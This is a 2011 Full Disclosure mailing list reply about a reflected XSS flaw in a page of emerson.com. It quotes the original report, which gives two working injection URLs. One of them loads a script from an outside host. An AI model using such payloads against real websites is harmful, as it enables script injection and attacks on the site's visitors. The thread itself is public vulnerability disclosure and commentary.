Full Disclosure mailing list archives
Re: XSS Vulnerability in www.emerson.com
From: "Mr. Hinky Dink" <dink () mrhinkydink com>
Date: Mon, 05 Sep 2011 09:46:23 -0400
That... ahem... particular company has had that particular page (/MCS/email.apsx) in one form or another for a long time, since the late 90s at least, when it was a cgi app. IIRC, at one time you could SPAM anyone through it, but they learned their lesson and now you can only SPAM the company's employees. Considering the business they're in (think "SCADA" related) this could be a Bad Thing. The XSS is just the icing on the cake. I find it interesting that they "upgraded" it to SharePoint. It's an in-house app, one of several. I believe the security model used to be "no one knows the URL". I'm guessing you're a contractor for that particular company because, after all, no one knows the URL. On Mon, 2011-09-05 at 02:00 +0530, Madhur Ahuja wrote:
One of the pages in Emerson site are rendering the query string parameter without any inspection. This makes it possible to inject malicious content as shown below: http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cimg% 20src='http://www.emerson.com/SiteCollectionImages/local/united-states/english/fastpath/INBDB%2020110225.jpg'%3E http://www.emerson.com/_layouts/MCS/Email.aspx?Title=%3Cscript%20src=% 22http://madhur.github.com/files/js/site.js%22%20type=% 22text/javascript%22%3E -- Madhur _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- XSS Vulnerability in www.emerson.com Madhur Ahuja (Sep 05)
- Re: XSS Vulnerability in www.emerson.com Mr. Hinky Dink (Sep 05)
- Re: XSS Vulnerability in www.emerson.com Valdis . Kletnieks (Sep 05)
- Re: XSS Vulnerability in www.emerson.com Madhur Ahuja (Sep 05)
- Re: XSS Vulnerability in www.emerson.com Mr. Hinky Dink (Sep 05)